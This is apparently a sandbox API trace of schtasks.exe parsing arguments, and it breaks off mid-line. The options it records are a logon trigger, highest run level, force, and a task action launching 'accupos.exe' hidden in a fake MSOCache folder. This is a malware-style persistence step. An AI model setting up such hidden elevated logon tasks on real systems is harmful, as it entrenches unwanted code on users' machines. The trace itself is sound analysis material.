[0123.277] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] lstrlenW (lpString="ONLOGON") returned 7 [0123.277] GetProcessHeap () returned 0x23fabff0000 [0123.277] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffabb0 [0123.277] GetProcessHeap () returned 0x23fabff0000 [0123.277] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb450 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] lstrlenW (lpString="/tr") returned 3 [0123.277] lstrlenW (lpString="-/") returned 2 [0123.277] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.277] lstrlenW (lpString="?") returned 1 [0123.277] lstrlenW (lpString="?") returned 1 [0123.277] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.277] lstrlenW (lpString="tr") returned 2 [0123.277] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.277] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|?|") returned 3 [0123.278] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.278] lstrlenW (lpString="|?|") returned 3 [0123.278] lstrlenW (lpString="|tr|") returned 4 [0123.278] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.278] lstrlenW (lpString="create") returned 6 [0123.278] lstrlenW (lpString="create") returned 6 [0123.278] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.278] lstrlenW (lpString="tr") returned 2 [0123.278] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.278] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.278] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.278] lstrlenW (lpString="|create|") returned 8 [0123.278] lstrlenW (lpString="|tr|") returned 4 [0123.278] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0123.278] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.278] lstrlenW (lpString="delete") returned 6 [0123.279] lstrlenW (lpString="delete") returned 6 [0123.279] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.279] lstrlenW (lpString="tr") returned 2 [0123.279] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.279] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|delete|") returned 8 [0123.279] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.279] lstrlenW (lpString="|delete|") returned 8 [0123.279] lstrlenW (lpString="|tr|") returned 4 [0123.279] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0123.279] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.279] lstrlenW (lpString="query") returned 5 [0123.279] lstrlenW (lpString="query") returned 5 [0123.279] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.279] lstrlenW (lpString="tr") returned 2 [0123.279] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.279] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|query|") returned 7 [0123.279] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.279] lstrlenW (lpString="|query|") returned 7 [0123.279] lstrlenW (lpString="|tr|") returned 4 [0123.279] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0123.279] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.279] lstrlenW (lpString="change") returned 6 [0123.279] lstrlenW (lpString="change") returned 6 [0123.279] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.279] lstrlenW (lpString="tr") returned 2 [0123.279] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.279] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|change|") returned 8 [0123.279] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.279] lstrlenW (lpString="|change|") returned 8 [0123.279] lstrlenW (lpString="|tr|") returned 4 [0123.279] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0123.280] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.280] lstrlenW (lpString="run") returned 3 [0123.280] lstrlenW (lpString="run") returned 3 [0123.280] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.280] lstrlenW (lpString="tr") returned 2 [0123.280] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.280] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|run|") returned 5 [0123.280] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.280] lstrlenW (lpString="|run|") returned 5 [0123.280] lstrlenW (lpString="|tr|") returned 4 [0123.280] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0123.280] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.280] lstrlenW (lpString="end") returned 3 [0123.280] lstrlenW (lpString="end") returned 3 [0123.280] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.280] lstrlenW (lpString="tr") returned 2 [0123.280] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.280] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|end|") returned 5 [0123.280] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.280] lstrlenW (lpString="|end|") returned 5 [0123.280] lstrlenW (lpString="|tr|") returned 4 [0123.280] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0123.280] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.280] lstrlenW (lpString="showsid") returned 7 [0123.280] lstrlenW (lpString="showsid") returned 7 [0123.280] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.280] lstrlenW (lpString="tr") returned 2 [0123.280] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.280] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|showsid|") returned 9 [0123.280] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tr|") returned 4 [0123.281] lstrlenW (lpString="|showsid|") returned 9 [0123.281] lstrlenW (lpString="|tr|") returned 4 [0123.281] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] lstrlenW (lpString="/tr") returned 3 [0123.281] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] lstrlenW (lpString="/tr") returned 3 [0123.281] GetProcessHeap () returned 0x23fabff0000 [0123.281] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x8) returned 0x23fabff42c0 [0123.281] GetProcessHeap () returned 0x23fabff0000 [0123.281] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb660 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.281] lstrlenW (lpString="-/") returned 2 [0123.281] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.281] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.281] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'" [0123.281] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.281] GetProcessHeap () returned 0x23fabff0000 [0123.281] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabffac10 [0123.281] _memicmp (_Buf1=0x23fabffac10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.281] GetProcessHeap () returned 0x23fabff0000 [0123.281] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xe) returned 0x23fabffabd0 [0123.281] GetProcessHeap () returned 0x23fabff0000 [0123.281] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabffacb0 [0123.281] _memicmp (_Buf1=0x23fabffacb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.282] GetProcessHeap () returned 0x23fabff0000 [0123.282] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x9c) returned 0x23fabff42e0 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] lstrlenW (lpString="'C") returned 2 [0123.282] lstrlenW (lpString="-/") returned 2 [0123.282] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.282] GetProcessHeap () returned 0x23fabff0000 [0123.282] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x9a) returned 0x23fabff3ba0 [0123.282] GetProcessHeap () returned 0x23fabff0000 [0123.282] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb900 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.282] lstrlenW (lpString="/rl") returned 3 [0123.282] lstrlenW (lpString="-/") returned 2 [0123.282] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.282] lstrlenW (lpString="?") returned 1 [0123.282] lstrlenW (lpString="?") returned 1 [0123.282] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.282] lstrlenW (lpString="rl") returned 2 [0123.282] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.282] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|?|") returned 3 [0123.283] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.283] lstrlenW (lpString="|?|") returned 3 [0123.283] lstrlenW (lpString="|rl|") returned 4 [0123.283] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.283] lstrlenW (lpString="create") returned 6 [0123.283] lstrlenW (lpString="create") returned 6 [0123.283] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.283] lstrlenW (lpString="rl") returned 2 [0123.283] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.283] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.283] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.283] lstrlenW (lpString="|create|") returned 8 [0123.283] lstrlenW (lpString="|rl|") returned 4 [0123.283] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0123.283] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.283] lstrlenW (lpString="delete") returned 6 [0123.283] lstrlenW (lpString="delete") returned 6 [0123.283] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.283] lstrlenW (lpString="rl") returned 2 [0123.283] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.283] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|delete|") returned 8 [0123.283] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.283] lstrlenW (lpString="|delete|") returned 8 [0123.283] lstrlenW (lpString="|rl|") returned 4 [0123.283] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0123.284] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.284] lstrlenW (lpString="query") returned 5 [0123.284] lstrlenW (lpString="query") returned 5 [0123.284] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.284] lstrlenW (lpString="rl") returned 2 [0123.284] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.284] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|query|") returned 7 [0123.284] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.284] lstrlenW (lpString="|query|") returned 7 [0123.284] lstrlenW (lpString="|rl|") returned 4 [0123.284] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0123.284] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.284] lstrlenW (lpString="change") returned 6 [0123.284] lstrlenW (lpString="change") returned 6 [0123.284] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.284] lstrlenW (lpString="rl") returned 2 [0123.284] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.284] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|change|") returned 8 [0123.284] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.284] lstrlenW (lpString="|change|") returned 8 [0123.284] lstrlenW (lpString="|rl|") returned 4 [0123.284] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0123.284] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.284] lstrlenW (lpString="run") returned 3 [0123.284] lstrlenW (lpString="run") returned 3 [0123.284] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.284] lstrlenW (lpString="rl") returned 2 [0123.284] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.284] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|run|") returned 5 [0123.284] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.284] lstrlenW (lpString="|run|") returned 5 [0123.285] lstrlenW (lpString="|rl|") returned 4 [0123.285] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] lstrlenW (lpString="end") returned 3 [0123.285] lstrlenW (lpString="end") returned 3 [0123.285] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.285] lstrlenW (lpString="rl") returned 2 [0123.285] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.285] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|end|") returned 5 [0123.285] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.285] lstrlenW (lpString="|end|") returned 5 [0123.285] lstrlenW (lpString="|rl|") returned 4 [0123.285] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] lstrlenW (lpString="showsid") returned 7 [0123.285] lstrlenW (lpString="showsid") returned 7 [0123.285] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.285] lstrlenW (lpString="rl") returned 2 [0123.285] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.285] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|showsid|") returned 9 [0123.285] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|rl|") returned 4 [0123.285] lstrlenW (lpString="|showsid|") returned 9 [0123.285] lstrlenW (lpString="|rl|") returned 4 [0123.285] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] lstrlenW (lpString="/rl") returned 3 [0123.285] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.285] lstrlenW (lpString="/rl") returned 3 [0123.286] GetProcessHeap () returned 0x23fabff0000 [0123.286] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x8) returned 0x23fabff4390 [0123.286] GetProcessHeap () returned 0x23fabff0000 [0123.286] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb5d0 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] lstrlenW (lpString="HIGHEST") returned 7 [0123.286] lstrlenW (lpString="-/") returned 2 [0123.286] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] lstrlenW (lpString="HIGHEST") returned 7 [0123.286] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] lstrlenW (lpString="HIGHEST") returned 7 [0123.286] GetProcessHeap () returned 0x23fabff0000 [0123.286] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffaa70 [0123.286] GetProcessHeap () returned 0x23fabff0000 [0123.286] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb9c0 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.286] lstrlenW (lpString="/f") returned 2 [0123.286] lstrlenW (lpString="-/") returned 2 [0123.286] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.286] lstrlenW (lpString="?") returned 1 [0123.286] lstrlenW (lpString="?") returned 1 [0123.286] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.286] lstrlenW (lpString="f") returned 1 [0123.286] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.286] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|?|") returned 3 [0123.286] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.286] lstrlenW (lpString="|?|") returned 3 [0123.286] lstrlenW (lpString="|f|") returned 3 [0123.287] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0123.287] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.287] lstrlenW (lpString="create") returned 6 [0123.287] lstrlenW (lpString="create") returned 6 [0123.287] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.287] lstrlenW (lpString="f") returned 1 [0123.287] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.287] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.287] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.287] lstrlenW (lpString="|create|") returned 8 [0123.287] lstrlenW (lpString="|f|") returned 3 [0123.287] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0123.287] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.287] lstrlenW (lpString="delete") returned 6 [0123.287] lstrlenW (lpString="delete") returned 6 [0123.287] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.287] lstrlenW (lpString="f") returned 1 [0123.287] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.287] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|delete|") returned 8 [0123.287] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.287] lstrlenW (lpString="|delete|") returned 8 [0123.287] lstrlenW (lpString="|f|") returned 3 [0123.287] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0123.287] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.287] lstrlenW (lpString="query") returned 5 [0123.287] lstrlenW (lpString="query") returned 5 [0123.287] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.287] lstrlenW (lpString="f") returned 1 [0123.287] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.287] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|query|") returned 7 [0123.288] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.288] lstrlenW (lpString="|query|") returned 7 [0123.288] lstrlenW (lpString="|f|") returned 3 [0123.288] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0123.288] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.288] lstrlenW (lpString="change") returned 6 [0123.288] lstrlenW (lpString="change") returned 6 [0123.288] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.288] lstrlenW (lpString="f") returned 1 [0123.288] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.288] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|change|") returned 8 [0123.288] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.288] lstrlenW (lpString="|change|") returned 8 [0123.288] lstrlenW (lpString="|f|") returned 3 [0123.288] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0123.288] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.288] lstrlenW (lpString="run") returned 3 [0123.288] lstrlenW (lpString="run") returned 3 [0123.288] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.288] lstrlenW (lpString="f") returned 1 [0123.288] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.288] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|run|") returned 5 [0123.288] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.288] lstrlenW (lpString="|run|") returned 5 [0123.288] lstrlenW (lpString="|f|") returned 3 [0123.288] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0123.288] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.288] lstrlenW (lpString="end") returned 3 [0123.288] lstrlenW (lpString="end") returned 3 [0123.288] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.288] lstrlenW (lpString="f") returned 1 [0123.288] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.289] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|end|") returned 5 [0123.289] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.289] lstrlenW (lpString="|end|") returned 5 [0123.289] lstrlenW (lpString="|f|") returned 3 [0123.289] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] lstrlenW (lpString="showsid") returned 7 [0123.289] lstrlenW (lpString="showsid") returned 7 [0123.289] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.289] lstrlenW (lpString="f") returned 1 [0123.289] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.289] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|showsid|") 